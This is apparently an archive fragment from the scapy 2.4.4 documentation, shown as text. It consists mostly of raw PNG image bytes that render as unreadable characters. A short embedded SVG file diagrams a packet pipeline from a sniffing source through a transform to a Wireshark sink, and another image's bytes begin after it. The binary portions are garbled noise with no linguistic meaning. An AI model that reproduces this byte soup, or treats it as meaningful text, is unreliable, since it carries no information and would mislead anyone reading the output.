dÂ?WDŠ˜A¥’ÐhÿVî6…‘W­!@äΟ/#$”Ëí§×:°_¼~+a7}¿ Á!ÉÝ%#Äv.J.1®~åxø¨ ïýß‹Ü!§Ûlš—LK¶©bÃ=®gôÎãN)ªmÈeEmV †;JJw¡½Å¼¥¸§«ÒtˆCCºT±Œeõî¶ìšrñçzwSÈÝ‹Q*–²¤XqÔ±ÃǪ՜WÌZ«æ»ï`5¥Rü Vua¾Äª¹ …åûº¹µlüÞ‹íC£ ¶u‚á*¤Ä ×Ñ -¹£®§ § i6À[P´hÁ0t¨Õ²Fó¢w§ÙéŒò ‡†šzË䎱®——Ö»³³Dî0úͼ„€r_ž–ž½dÈ©t1VB«×#ÂBÉŸÐ…â-ûz'w/AõJe|¸ãYøýŸM[·!VOnO§Ó¢ÔNœÜb®,­>8Tã—­‚*›Ó€¢&YgȞĽæ&k:rÆ€U˜ÜY;Ú'3˜a°ÃŠ;G9™ÇƒÉ‚ÜÑ;Îô ÉîFrÅb»»¼’·ZEدP´{P/ÕÄ xBÜû®Ãrµ‡ÁìÞoNõáÕ jgÿÿ–ŽßËÝ먘AÜ“íâluŸÀ£ÙÀ/™ž«Kå>hÅ6ŤŒeÊ7.¼Ük? lÄOP,R+ÕjÑH{þ§¥lvo¯Î"øƒÚ Ö@<ï%â—ÂÎçbײÞ;M{_µ?OpÔÀ´½N.÷Õg_¦ÓÂpÎUÈ¡ÔÎX=þ¹¨é ¼¶ï$yvº?ˆ§öH4þ°—ü Ήø¯íGjßRH•óß»äb!Bð—yâ ÆOMã÷D)ÖöX•›t„Bð%äµb—nŠ/>"à|éÝ£7î[È>‡'ƒœ*þR¸Úë<3ÍBTídÿ “Äå§GööŽÝƒþªÓT¼uÔ®¥¢` vZpôf‹¢Òjµ)†Ã›‘ÛåT“œþb¢÷<ñ#¯è­At'ÃÏlsÕã–O?߫հH„O×[y÷Ž@jß®ó¥?WU»„–…Í‘¹—©8d¹ÕšÊS ‡ í‘{'ç±C8øë©e³7}üã‘€ ×öçøüK©Ÿ>VO ž¦ÆNENúOéØ{ð'äÞècsZ²€È#†\ÁìüLîgÒ3vð÷À(å{õcÝî=OH6[Û‰gª—NVöã/ÌÆë!ÜrëgÒ¬„J0$p`J†%˜Á@ @2)À8l.wÃf8Ì`åþŸ© ë`Ž<ÅÜÛÔŸêÏ쿳;'šƒ¿‘R÷óøÁ±h4z¯l¶¶'ùÁm5´ƒ ðÓÙ÷O ý)µï<ÿLµ}[[±ÇÍ‘¥–¥·º€;*‡ÏÐ[ 2˜ä5ËDÇê[.Š tž¯Ô¶¬©ôô~ßÔ¾–×ûؘNÂü­Ü‹á"–ran_pö/ìࢾWÏþ2LòW;ÃûÜð=„àt÷ŽEqõéËÌ·­íGÃ$×µw Õ¦ŽB_U=9¥Ê®ÙmD—S)=/‹æ@fÊÉE ?“û4¯ªí a®mŽ4ÇÊd4 Ó%ÌÑù¼® Ihwï$þ ÄyéÞOKÅë‘Û”Mv2Þéí&ß8Z»é [óNS þˆCÇ¥ç#/oi© P‘%ôÂD›ºîd,«ttÌ!VÈœ¬ÈxCjÚü?C «J8ók•n*lš õÏíÝ as4«S9yˆÿ,›ÍÖã¿3_á ¬ãÎGo ‹¹éfOü<^µ¿ç’›á·Ù8š7æWïÞ“¥p³ÝÎW8axr'rW)eЗÏP=­—p¹Û²Pm cПlº²ôç䮞‘‚ØÌ  þPJ£ñx½ÛíRæy ëxä[&rÓýtÁa¥ƒ½n kÔþ`ÄWí±£Â°r'z œ‚Ó.=ëW¹5a[;å-èÎÀ)zr7¼Ÿ/ñŠ6µí°™I³¨!Í „Ü™5Å¿N¤[âí|Q_r\Ê×öˆo–*rS‚ ˆQd¿<ñ–—¯íߢß+pÔÑá/÷0†rEÝ”¬žW™¢¨d@úºajmó å32À8aQOîÈ;†”Ïounœ¬«­˜a ›£ž<¢ Cò@&‘¿ wæ­ó-LËáæ§>j8;'rÓ€ÜÃh©¯a˜¯>s”¦úo0¸M†¬Y¶ÑwT_5dmDÑì€ôûM¹¯`¶MˆÖ̾ %/ky tÊ/è&2²œŸ´ñ'HéšcY&š-pS†…{jµîAü TIé²µù¨ýŠ[bû»éͲéh-{pSMüLæ3à¸v@[ïÀö¿Ÿ% EeâÃøu3CUDUà!õMüŒi€Ã~¾@M†?I¦“bø7‰óJxÌ«~kyímî«— a3x6ÜÅoY®v1LäpJm•ñÀ†½ ¤ þ›ë¿2!å+züà&ž’"wÝ¿ö€÷ƒ·Ï®V±”[w)¨ýÁ«ü×v•A2C j}ÿ X—çR/QJÙ¦íK1&;÷åY ífê”AÖö¿Híôõ#µç?òžðpdã^>ÊàjŸg¦WœõÃFÔë³sÚ¿HíO[Û·´Rfûø‰½ûùm› ãþÕ«×ÕIÝÆ¬•4“¦jE„³ÐTu(T-eca™•¥S’1X7”i‘H…ªý`-¨‘6@6 šèâ€àÀ…BœÆÄ•+L‚?€×YK`Í7µÓ1ü‘Ö4…i;|÷ê}â÷}:Íœ1÷.#Ók3ªmHûÀQdÀò ëØ ²Á†cÃzc3 ì9;ðŽ»¶ßÿ¦§ØRþóa6ĺpwÛË:뱃Æ`ff`Ùv ·Éõ¥½ØìànØs¡ã¡ÿOcë­JätA(¬jxISÌC-û°=´™dnL›`Жõ*µ‡u`ßà S‚š…¹eXñŽw?×ÿ.–ÒÞk¡=Þû°àOþ¯'eÚSŠ>8Oò%±Œu|YÜU¸°š¨$t†«dÎP¬°¾“©5|¼>‰Œ,[í9}ìÌ©æsÈÎ6Lû¨¥´»#:þ Œ ʸƒø$1„¼2à×°5}Ã5lu êlL;aW_‡îºøºpÛZÚÏ ÖÛ.mem?Ø6ío[Jûÿö$ê|%R‰´J‚€‹øbW(VâDHð@©˜Ñl¬¨Q8!¬œ˜- €”¡æ÷ ”¢@2–z§7°ÏÎM7\¬éƒÍøÏ/ÿ]–>¼1ˆ¬®z{ÁRmzcâ"Zéépmïõ}XqÎ}š (`¨¼®,iTT½É¬×ÈëTñÊ(ˆFQ,A+烜à×Ì/‘¢Îsá"P3_¸F?7LM o³X•Úÿx­,íÁfÕö=~éT½6m‘öCíÛß}V|ï6•1©Eðb© ò$“#T Èȧ8,î‚7$D^óðHЍ³=î4\Éëþ÷éÁ»°aÓuÓèŠþžó?=¹çÉÇ̲´‘•·VÑJ_ßÄõÚÔε½Þè×lYA䢡L¥ü9#@(Ô3î1_ëš®¥¸Cq˜_âàÕE=îÏqw£½è*2ÄìýñÓ3ýý¤ù¼T‚æèÈ»ËM9ÔÙ]¥²F¿îÚ¾‚'VÌ£˜ö…|©¥ r¶±z1êj‡Ú͸GD8!l˜B ¡”_ù;î ?Šì Búf<†o9{yfÍôöްªy–ô<{¶q•jÓÚ~Î]Û7äuQAB‰£b(àͲ¸ ,ñSã^ð™Ô‚"Êq—< „@;„݆}Æì°ÇŠÒ럿Öò¼oõMŒÜ¸1r‘¢¦Ã ö[Úɸ—õ¶$:&Rpe5™®PêÉšš¬x$% #ãÍ—=1$Ã@Ä'ð¹bÜ£ñ©" ¥$ö'ù+ìÅ×svÀÐãæõÒ‡6Æs\@sË“MÒ>qæÌà³^¥âÅö:֎Š/ÝöxãÙüKf$±dD QÀ§d@2…à>Y.F)ÀE(‰h,FREÐMý=µ¥{†c³±ë]~{[¥}¥á³ÜclYŸ ¨ëtmgi·gmçÜf®ºÇ††X«u6š©Ÿô[î9°ZÝœö>Ö¸àÆÇaKÎ6I{û›©nÚ]Ös*6ó8‹{Oƒ‘©çI‹´ß½mç¦Ù‘…M—\­U©¯ín£_—ì )ë±Î 0hdéðÍÞVi_@7Á*Ó3ÍÊÔ¾´÷º;×ö=ö8c¶}B óW—ÐÜJ=íদΠÃ&ÎV©n•êjYŠ<³§VŒ2­ñ_óhŠÌ-/ltÔcýh&6Ÿ…q¾JÅÛ×ÜŒ]x ]B%gõ 1f)ú𞽄Zu´^^?$sl„Ýä6M ëJ•ŠSk°â!÷„»…0AwDS<ìG˜õ:tÏ“[ïù~~žGSÕ•Å^sÙðȦG¦víÛ_Eï®õ[Kûÿk$v‡4=î²™ÇrìC«Zïú>`î`ú±E×[X}ëwV–N÷õΤ}ÿî^7í]¥©õïõ"þå^Œ{Ï“5?óxͶáÂÕëhfô÷ï~™šš€-žm¶¶[H;±v3ÕMûf¾¤&¨Ð.a ÑT%Y `¸˜˜*…b<ÀþõeŒ>n„ìŠ{(nÈÍ"FÒD8EcýuC{Ö=¹·æ±ly¾Iÿ#³Ïû/M„MzníE»ÛW©ï^s×öŽEÅŠ®ÓHއ‘â¹¢X,ëR•Ф“œ-qßNúýRþHyWIÐ+1ŒÇÐôºˆ^¸y´6ylðLï]±Iunö!/œD§÷RO»UêvÉÉ|BHHb2¸D^ AŽR4AɈÈ@&M^ŒGŒ¾PŒK°ƒšHÉd"&‘V,€bQÝÂÿúóááÚä1›,ÌU`£Ù“èpm¿6ঽ;Ò  ¶w¿Ï˜<†¿ýóç‰>³"m¤:³;ÍGÇ=Ü´w—Ì…ùZܸoÐaæëÓôçÍGdgª°Ó‰ñ&;™ƒVÒîV©]‹`ˆÌã?¯ï"s€•£ÃÓæØ±¥¯/_A3 ·ça§ã/Çf½ݵÝe»‰‘Z1ʶé׫ÑÞù›çÑÔ‚Q[LÆ‹?¸iwÙƒ£¦3ƒÌÈ1†CÝùW.s-z&M®ÂN=·E#¯ï>hS•JÜ´·’‰p_vþž`F~dnLô1øúÚüe¾E§™åØêijhwZÒJ9“² WÐâœNÔÒÓ+ZWoü~àØ:Öñ7¯^FS vÔÎô7Nû‘'Ž  òñ{î³TûDý»üy™Å=ž«øË€â «Þt&­VTÎóGj_6ìÚdêÆàßÎÐ ¶ìúü§W¸V}&`³žgìo˜ö×Gaaʘ›vù|m3#RÀ‡\>/Ï…³êÓ;Œá<35r».ˆò¯´lØŽ••UØ­¿q{ÑÝ ­µ·Ý´Û*jq‡ DQäÊð$êΪ¯îÚÅéáàˆ¥ËŸÞ¼Ò‹¦Íñ¶›½u¼´íœúõ]7íp$îUM)HŽ%ST ó§×öî tAïü¥óheòö lwrv¼aÚGxm}ì®íŒqçƒYPOCË€ÙÇi) à4zýÓW.S4EØÊ¾ÛõŒÏ¢ñìçÑÎÛX[Û97íÖ)c‹¼z+™ô.wÕ0 ² 5Là8AL&Ä<œµtùò¥«¿:Ï£••É*ê_Úñrûó¾8½k>qŸ¥v,6¦¼7‚î¡pÿÚáÃW–´.PWa¿þCÇÇIã‹KO´?%óÅ{°„ûì7íãuO¹¬¦dÜ–æÏ_½ ›jÝÉ[Ï¢¡× £¿­Áâv´ÞK&÷Á^òó__}í5­,¬Ö T»íïA#-¤ýékoîl—5«M?}rh­:7³âPØOÎ>x<¿»}ÚO¶X¤~à¦ý®·÷ÊáÃWççy´±:3¹² ‡œhÜ\/î~íÓkÓN¾rÓ¾U’Câ vR$0¾¨­½'!E#Ýù)·þÖW{!¼ <Œá.ׯ¿öé§W¯\áÑÎâ¢yWÉ)·=‹F´¶DN]{¤°6 û ¸¶(ï•À\;@*«¢…PTEÉ|U|1'úC@V¬ýT¨¨æ[jäD1 øRº®G€ :~ž¹yó<¬X]™œ\€SÎÎ΢¡~|í üv Ö|ÿŽ›ö­dîNÜãØš!P#€BQ¢‘1T-òPL ¼áå} Í}¨”y>ï%†.P- #ˆ…y#ît‰>lÖ¥×-fýöÜ2œsèÙãh¼¶·of£kGaÍ7çàê©ež¤v$î<€B£µü%<¼,† ðÞh$pb†^E ÔS@ÌÃ؈;;pø¥ÖTÍ;¨Ž!ãö£q+™ýíÓþÞ#nÚ•¨¼j8ÇŽàbÞ$¢xйŠßS‚Ið†*eá L’WÃ{2ˆzâùØzÜ·„° {µ 'Íî{´qÚ_ßíœzä}XóÆSßÃÕ‰ˆ)`Hѱ‰» Dà+^¯xÆ2RÁCÁDr$Nä¥(˜¬_@t—ž÷F¶÷…åv0fNÚûh“þ/>𣅴üªÕ´ù%\‰ûW9 µ3qç$%æ@¤PEçᨠ±\õ¸#‘óQr çdƒüÖâ¾pÛü(ÆY‡^xY¨Qqê´å´⦽ó¸“|¥^ªî)˜C½ü9é8Ñ}@9½1ù/öIè î£Vâ^x:¹ ‡õÜ2› tx%ýo¯XB?üì¾ì Ôq?"*Ô‰»`þ ÄÍê1P95’*ˆ¨æO³@&%€‰ú}å­2B0 +kO vvß>‚&9zÑ~PÁikÞyŠÀÕ©¸9`‰];÷brZ@HjW` •¸xŠf¼ñ¢ð‚'Ëi^ Yo†½e5m„½(G8>œ‚eö6DÑW™Y©®ÂyÏî;‹†F|m \ûÖЧ¾t×öm(•9–'1.aȺªú£Ò~U,ˆ{ÕœŒ¢Gõûý ¢ì§1 b¾Uådí§1(ª*æ$ %²·ºÔêdïÌíåUtÁÉÙã=h¤÷% GÛñöµXÓ÷ÉnÚ·—°S”ãKð0ùØÛ:!!`3S8´S]™›œ#èŠãã'ÐØûGÑÖ«§ZM»{nÀu·ÕÕÉ™™åetGÿ¸ÙÙ·ãþ8Zk®á¶Åsu`µZ­Nάrºäøìx{i÷Øv›9÷”›v×ßVfnÏU«è¢ÙöEÿû¯Âª/?€ËU³¼¼¼Âv0««è¦C³'zÐШ¥õè#âÝ´»jª“““+++Ë貞ñú½&`§ØE‹¾q/.Ù"”%h!«ÀY’Ì×^|æ MJ[«IWgffªËË‹è¾}ž$hè …ù3 G¯¶œö¯Üöˆû94GT N’Š~ONo¨ vÅ`+IgnOÎÌB°Ž7¹Êùá¥^Xè6pŠÀš‡Î¹‡dœŽ»T‘œ»V‘„¼…´×‚Bû¸/˜Ì}²ÊpØ)ýÇgO¢±ƒOXùøñÔ#–?lgCh¾ËƸs(‚!aß…!¢FÌÿæ@vŒ8 ¶Kj÷ÅeÓŒin•ÁÎaaŸEGöïG{§,N)`¸Ü6aöÆ=šSu™TQ£€¤«zYOª»Ä°µœö„8Hñ`|þ2× î«“ëVjp/˜Ý7Û&vÿ8ŠöÞ]{qŸ}y´ý¹gÄýüq)YF|WÁ—RÁ¥Ã¾¼è“³lˆ’œW‰ pŒxx€½ q_™ùÛäâº{æàÉ['ö¢‰žxÉBÚž^ëÜÆI]U{Ö[Jd=BÜC‘õ€”òÈ j'áÎ W89ZÓ¸ƒl¸gB¾¡çÑúÀÈÍcôêQm˜’júÞM»íq7ét¸"ÅU‚‚DOóFŠÀçñÁÜ»a N’‚ 0| R‹û½ìøƒûN ‰Þ#¬g»k§`Õ¹/Ý#a°;îñÇ âç̸sÑŸòa#qçï\ï0_¨'ÏâŽëЉ[õs¾uÀÑ÷?~ÿ9XÓ÷Á9÷»ÅýD5NŠóëq§z6$ŠO‚w= §ä3@<($ã¥1…Å=.û|ò=·…1‘}Ï> Sǘ§O¿ «¾yÊ=6`»¬Î!êÅ<— ”R º×/ªBÓ]F¸TâpJ(•KyÃþ”§(Šé{𣈳'<ÙƒfŽ<ñüAX9"ó¬êûð³{ò_ýý€ølÈx äU@}pˈ’‘p;Yo2ÐÙX1†¼zí9ëiÿ츺 LF£†Ç׺ž³ã³'ÑÔËûÿbïŽ]›ˆâŽÿ8”‘Š‘jÓ)D·¼!òÈÑÑàP :8…†@l-R åMýÒU°4ˆƒ‚ ÂdÈp'·º\\n;žË½»5‚æú:ôŒò>ÐöÊK3} ïÝ]ïõ@Ãö»úµ¿?6·¶äÉíË—ïÜã»þÚ‹<ªSíZÏÃÓu4y¹„ó¹ÿÖ•K`ÌX,¼¹9Ü £{/@ÛÇ×fjüµtÚ†…v7[»Z—Q÷@×­Of"co¥K›cøytŽ€~ío߃aluÐ¥} ªkž|„uuó£&ëØì€mÎ꟨óì õ6÷ë aïycÚ^MÌØFáš´Ù‡<Ã5»Æ¶bÏAßÁksC˜Q°öNµ_ƒÅÊ»½ÖèØ7¶AÛ­³F5 ¶C2ÈS®´Ö@ˇ{{ ïèØüûõ¹ºqýÚåB]»ËmP«6;ÈQV•AÃö¨ñô]¸kžÚ~ή–\^¨’ Klµß¬ÒÈSïUÕAÇ‹ñxô}zožì{®Tî)”³Ä¹[Ý“äZ«ì¯i¾Ùøë:è³&3k?_*÷  ‘:œ Š©ÈQ?‚Ùo2N$f)²× !$Ã<2Á?H$âòænítª6äºßû¢ùÉ/϶Aß«§æ„LTîI)!Œ;I䨬’ÀˆPºn‰©^K6’°$„ð9ÅÅ‚iŒ¿#±»Ä¹÷»]ÈWîA‹uøæ è³Ì6z…˜ç.9ÉBM¿èÔ±ƒ¹ 7!ȸ-³QÁ§iîvÍIü¼Üù?•ûê`@«Íö)­ßW T-ë¿>}žšûÁ 1Ï]p$³*¥OíXåéFÙWu\¨ÜÙ,ÝŸË©úþKîŒbJ dh.gîý“êFmòÕ¿´t§1£ÃÆžú^Nîš%j1æ¹S›K:kUî•»ÌFÓ£iÈ#‚±»*w‚˜õ¯Äžã»1‰¸Ï%R"&Ërœû b¨0ð\Ï_¾Ü­vU]<ÍW.ïï÷tßqþ¸$݉Œ™µcž»êÒ¶=†$r‰mšåîð©ƒ*÷HB|ºjî.¥7MpFØ.MBÚ¹ Dx‰ä”I`±Ð¥D¸ sìåʽ¶Ó y¾xüðóûû‘—]²ÎîTQx‰|WÑÑœ·ªè¯Ë³{i†ÑJwöƒ Ý©»á”'ö…‹ŠS\ùl–ƒ©=tñ¯îû2™i[V­¦‹DŽn~08Aîûg Ãí×Tö]³žÌ¸¦BC·Îø@ÒsK˹;ÆÅô"ÖÊÒ¥îG›º{S3ð¨7S"6Ï!ŽG˜þl¦Cg˜Ý½X‰«ÏîaòÙ]UI­R±@€\£Ï‹Êžé½¿ê ÇïÒu÷p݉CJ‘㇎KiÀs s,ìó[ËÍ8¢(ÊÔÙÔÝq}g®Äžã:Ó™U{W ß ^Ø)nyá,HVwÛnkµSD¸h €xƒÚo'é# Àu_NÜI„R¯a»`˜!«á;'ˆ”t¹cR…þ%¨»Õéb‚çÃAã„yxl?'£ô|^pÝ·ê-¨ûJâ€*[HJ÷¬®›šfÙ6ˆatëõ.S¼._A†Ïß~¤/õM®ûSˆê`Ú+Ý/+týTUAó|c˜a2ãþƒ 2|¥È³oºoþ'Püì‰îÖ–jf¥r œ°=—=Ó+÷Çgr¡}rŸXúÒçÝ·£¶m›`Q×õ,ctóõ†â|ÁµRÜ|¿IC{r î¡»S¼çÖÝ"„˜N' RäÃa$÷ïŠ Çñ(>&ËëjõèßàþsP}qøáí^>¾'¡êºnkšö ›R¤0ŒfȧÕ+_õdeŸÜ§²¿P~³w+NÇ?†äÃÎ̆M¬ºJ ƒ³f›…æñRdQiKÖCÖV¶‚”ˆ=öô*¬ŠxYÄÓ¢±wßÀ÷0I×^aêzèï6(=ü 3Ið½ Ú¬æF@2ÂÒîíí=ÞÞß¿¿E¦ƒW?j“ÍMh8.WP5ß~½þ6Áê ÿÎ]à/îeÐÆxBerß*••oï=}úô.–°¹sõÖäê:=×]AÌ×·×;WÅâ[ÙŒ¦YÂÐ6*¤š¶\0Iuhž»Ë€‹‰qÍÖ2¹×#Þú»Ëÿ§øÓõ‡•½íÒÑ‹–Ó}6¹õì`ʇ7¡éãçÏëEÔ•‘wF™÷”Ó#Ƭ ´G-ÞtzóŠSi+¹Ê²ÑÌòǬ©R3ô‹‰™-¥r»Üªrg©R#†~2RޏRe~»rsnÿñÜþËæ¤¸9ÝžÏOO ëüíú%«d¸»JCx4÷z4(‡†¾#­v$Ôt!U¹Ï¤Ò1‹‰‘cB*ß§j©ÜϫܧRr„Ýae0åÀv޶/ì]¸‚ÿu0îÖjÝ.ôžÝ¸ñú—1/×k¨+%¦úœ8³(šŽ€V¦ZÀs¤ù  àfSî .X1£Ÿ{^],yí^h©2w À¥^L )D#Ž"i|=[ïÞTÏÙñóc]çßn¯ßç»bbÇDŸZ+ÖM';ÐtòþÎéµ-èúôq½ËwU¹sÄT j#w„¥úȹå Êaž#½fˆV3òº2Ê܉L˜%%ÅÁ{ ATÊ\® 5€Ù˜‰d,IIkž»™N-c(p9ƵÉÕW]è+žÜ8~}_¿¯wǬ¤~b"Ï@zÔqBW倯„Kí™Î,ëPåbÆUDZ{€§˜¤¶d0¦å„‡€R™¦ÐÆ n´7±íÔB, tæCé^BéãbOï¤;†¾ÃÓŸ_ÞA›ùúí›õî˜UÇ„‰÷{÷ïšFÆüË˽à Ôšxz ÜBý€¼+݃À+–5ëŒ$‰mþzÔ0ö ñ¸œ¤Ù0…áê‰bHůឃ›’ ÿ FS¶æÙ˜'3!àoÃO©ª²˜™‰ºîoxà0áÇÿ°%I]M³Øn˜ç$ë£h‡³µ"Ÿ Q¨¯@S…z]AðÕ‚í…}¸¥]8QYxï¬Õi]‰¦ÏLL& 'õý¤ý$C9èg(µ29Äcp g‹ex‹ã,M›Îfl{¨ aqû¼A -tY!F^8-Q3I`˜ÇëÛ;ãæ­ÛLºß#úºH‰;«œ~_X¨êÞ®€Ãºh–5æä¹9Ä*‡“Ó„¼oºÍÍó71¢úœ<w„¶ZÍ, ´-aç@³Ç¬'4ƒßâÎŦÉÑnBÝPòAãÑ5pÞ¢ üÔ€ª1¯r]sÜww®O_ï/òz¹ ÕHLïà®VCÜÍWÄ=4Ô×Ú½„Ñjj‚’'È]”¶¨>\¦¶ïÉÌÅ g«´Õ@Ui XÛƒ'ˆMÎ#w×:Ò Ôv¿öÑq¼t1Ÿh绬UexN–:zÝ*­}òÁdÉ`úÊÒ“:nŒøtHRÌç(å–rg@öEÌQÆÙÀ!_£*yŠ?˜šåôsNˆIEND®B`‚scapy-2.4.4/doc/scapy/graphics/pipetool_demo.svg000066400000000000000000000042151372370053500217130ustar00rootroot00000000000000 pipe 2518161510704 TransformDrain 2518161510896 WiresharkSink 2518161510704->2518161510896 2518161510992 SniffSource 2518161510992->2518161510704 scapy-2.4.4/doc/scapy/graphics/pipetool_engine.png000066400000000000000000000327251372370053500222300ustar00rootroot00000000000000‰PNG  IHDR_[r$—bKGDÿÿÿ ½§“ IDATxœíÝ{|Sõý?ð×Izo¡gQ/x·8ÒŸ™N4ÎËh+^&ºÔ©ÓÉÃk3öµ¨s£sºòm½!öâ£s` NDgŠŠ÷VT$ÔD„„KK/Éç÷Çá¤I›´Išä“ËëùxäÑæääœw’“W?ýœÏ9GBQTéd@D”Œ¾DD0|‰ˆ$H8¡¯¯MMMp:2ê¡aL›6 'NŒØòÍf3vîܱåSâ8æ˜cPXX(»Œ¸¥ Üá¶råJ\}õÕ²ê¡aÜrË-xþùç#¶|EQ"¶lJ<Ü_ºA-ßÎÎN|ScQii)º»»#¾žÚÚZ”””D|=¿êêêPZZ*»Œ¸Æ>_"" ¾DD0|‰ˆ$`øIÀð%"’€áKD$׈H†/‘ _"" ¾DD0|‰ˆ$`øIÀð%"’€áKD$Ãwl6PTT$» €Éd‚Éd xþxù|ã¥Nòöðmmm…Éd‚¢(P&“ ›6m‚ÍfsŸ¨[{làÍóz‹¤… ¢¸¸ÍÍÍ]O¼ýÙ»üáòùr;¤P…5|M&–-[†yóæA!îºë.ttt`ܸqîù„°Z­îûv»ÝïÉÛ…°Ûíƒæ8]›¦ÝÖ¬YΗæSUUUÄ×/d~öžËê±ŠŠ TTTüšù|¹R¨]É"TZ+§©©Ékz~~> Ìf³×õžòóóÝ¿çææ¹lÏÇýý>ÐÌ™3®FFög?pn#áÂíB––okk+-Z„‡~Øï<Ó¦M Ǫ¢ý›7°Ee³ÙPYY EQPTT„––– w8hhhp?¾mÛ6Ÿë÷·›Í†ææfÁáp ¬¬,¨>ÈXkŸ½?þúE[ZZPTTEQPYY ›ÍæwÍÍÍPeeeCΧávHCÔÖÖ “‡T^^.«ÕÔó¼.óœn±X|ÎgµZ…Á`õõõB!Ö¬Y#ˆ¶¶¶€BƒÁ ŒF£°ÛíB!êëë­¨å ÷üf³Y´µµ £ÑÐëBˆ’’QRRðü¡ jkkž?–>û¡ó|ï5MMMîÏBïÏS›ÏóóBˆööv`Ðç–LÛ¡¡åy KøóE õyÃ}ÞÒ6ÐÏ-//èqí‹ÚÞÞî~Ün·ZßpËÑæ×¾8ÁˆÅðÅÏÞßv0pš¿y/^<ì<þ¦%Ãv(Ã7&|5þZží}}A†{Üh4´þá–ê{%Ã7˜eš¾>Ó@z¸i‰¼ Áð ‡°ôùFj_”l“&Mò9]†#ì‡ûã†{|éÒ¥­¸å$šXú샥ÕÞÐÐØ´i`ñâÅ#^6·CNXÂwöìÙ€;v„cqneee!=o¨ ÌßΉ@T¸–ëbí³FAAššš°k×.÷¸äúúzÜwß}aY>·CJXÂ×`0À`0 ùW¹££•••/³µµÓ§OGy€êêjÀòåËÝ­4mop0k­£Pדhâá³÷§¹¹_|1î»ï>!ÐÔÔ„¹sçFtÜÉm`?D¨}9ÚÞU£Ñèµ3@µÿË`0xí·Z­~ûÌf³ú÷ðzîPðÜAàoº¿úà£ÿËb±ô¸Ö‡g0ÜÓ´=È@ÿÞï¡–3ÔkD,öù {Ÿ½¯Ç<שÕâësÒ>K«Õêó9žËö5-¶C!Øça _!Ô°©©É½S@ÛHª««ÝŠí¥Ö6ä@ç dc²X,î¡QF£Ñ«¦@×^›öÕ†óx†‹¿åxÖi0‚~c5|…ˆÏ>˜y»À#]¾?ñ¾ Áð Eºº:”––²c>•––jkk#¶EQP[[‹’’’ˆ­#VlÛ¶ ƒvŽmÛ¶ 'Ÿ|2¿C`NŒÏjFI©¡¡S¦Lñ9*aܸq¨¯¯—P%“°Û(žÔÕÕaÿþý¸üò˽xÛ¶mxçwpÛm·I¬Ž’[¾””–/_ŽQ£Fá‰'žð:æÎ;¼lùRRÊÍÍÅܹs1wî\ž’‘¤`Ë—ˆH†/‘ _"" ¾DD0|‰ˆ$`øIÀð%"’€áKD$׈H†/‘ _"" ¾DD0|‰ˆ$ð{V³ÆÆÆhÖAhllÄu×]•õ¤¦¦F|=¿˜#7(|O<ñDÀõ×_õbbÛ•¾°Ej“'OŽèòÓÒÒ°råJ¬\¹2¢ë‰´% —Œºk÷?§è“]NBJKK“]B\t 7Làâ‹Ý»>F’] çƒßuá³Æ^Vç`ôqì]£ØÃ­2Š44{ö·Þ*»Îö•½ØúR.øc&ƒ—b·ÌM˜Ô×ÿø°d‰ìjÈŸ=[0?Ü…ÓnMÇq³ÙoM±‹ÝAzâ àw¿ZZ€ .] yêÙ'°ªè²Öá²—³¡èeWDäÃ7HB?ý)ðñÇê-?_vE¬¹õ öþ×ÃêdŒUd—D4$v;IQ€—^ÒÓâbÀé”]À¦§á›÷aFUƒ—âÃ7yyÀßÿ˜ÍÀÂ…²«¡kû°é©nœÿ»Lü`*û(>0|CtöÙÀÓO?¬^-»šäµßâ»÷tâÄkÓ0¥„ãN)~°Ïw„n½X±ظˆðñ4@_—À?¯9%¸¢1útÙŽá;B]]ê¨Eþýo #CvEÉãÝ{:±k}®jÎAÎþGñ…[ìefÀ_wÝ%»šä±õ…n|¹ªÿ%‹ÁKq‰[mœp°lðÜsÀ /È®&ñÙ>êÃGOÂÙ÷f`üE~Ï EÓØíF>üõ¯j÷ÃÔ©²«IL]6fÃ~yv fTeUFqŠáFN'0kðÕWê¸Ü\Ù%W/ðfÉt2i£˜¼¿ØíFz½zž®.ছԣá(|>z¬ {¶¸pÉÒl/Å=†o˜¼ò ðúëÀþ »šÄáy¦²¼“¸ÙRüãV^<ù$ðÈ#Àºu²«‰”ÉE©PØA Š›v ÈÊRÏû°y3pß}þç[°@m%ǺoÍ}øbEï é_¿çô ^põªÁ«èdü@‡ÂÇ3qÝû£pü/%6¶|cHc£zàº: ¸Øû±în #8çœØ¼l²pÓ—ý±ëÞ+ðÊ9û]ZI—è3Lýu:N.Mƒ>ƒÝ ”ØçC®»¸çà¶Û€‚à´ÓúÓÆoÙ"§¶@ ì³ÕX?ìóº¯Kôi Nÿe:NŸŸæ÷$;D‰Šácž|øðCàškÔ3 ¥Nß½[ýÙÕôõÅî‰Ù÷lñ¾ßü»BºÐ§Ý’†3~™Žô1 ]JNìU‹1iiê8÷ìQOÆ®ÑÂP/K«_¬œP>íz¯î­@èÑòV¬X9sæ„©:¢ØÄæ…µµµ()) Ã’¾ÅŠxhDKPá)‡(†±Ï—ˆH†/‘ _"" ¾DD0|‰ˆ$`øIÀð%"’€áKD$׈H†/‘ _"" ¾DD0|‰ˆ$`øIÀð¥!™L&˜L&Ùe%†oœQÅï­²²ÍÍÍp8²Ë$¢a0|ãŒV«Õ}ßn·C!fÍš…ššÌ›76›-,뫨¨@EEEX–EDý¾q(??ßý{nn®û÷‚‚<ûì³€ùóç³Lþ &??÷Üsš››±~ýz€ÍfCss3ŠŠŠàp8PVVæîÇu8¨©©qw]˜L&w«Ùf³¡¡¡EEE>ï777CQ¡#–®cOEQ[[–åøûøìv» ŒF£BƒÁàžßl6‹¶¶6÷cF£QV«UX,¿Ïóµ!Ä ç„ãu…ãý!Šu¼zq”)Š– hjWAö÷ñ |\»o·Û½º*L&vïÞªªª!Ÿçï~ µ#\ïQ¬ãÕ‹“ŒgðpïLëèè@cc£Œ’ˆ’û|¶£­¼¼< ùkjjpçwÂ`0D²,"òÀ–oÚ¸q#`ÆŒÃÎÛÐЀÛo¿‹“&MŠtiDt[¾ Æf³aÉ’%0 ˜9sæ°óƒ—(ʾqÈsü®çï›6mÂüùóÀ=ÞÀ\h] ضm›×s<Ÿ7ð¾¶^Ïõ‡ëÀ¢dÀð3Š¢ //Ï}?//Ï=F÷í·ßÆÃ?Œ¦¦&¯1Æçþ]£«Ñv¸ÕÔÔ //ååå08tè×óÆçu_«Á³Ïljhhìó3¡ çê9^{JȺ8R‘(4lùIÀð%"’€áKD$׈H†/‘ _"" ¾DD0|‰ˆ$`øIÀð%"’€áKD$׈H†/‘ _"" 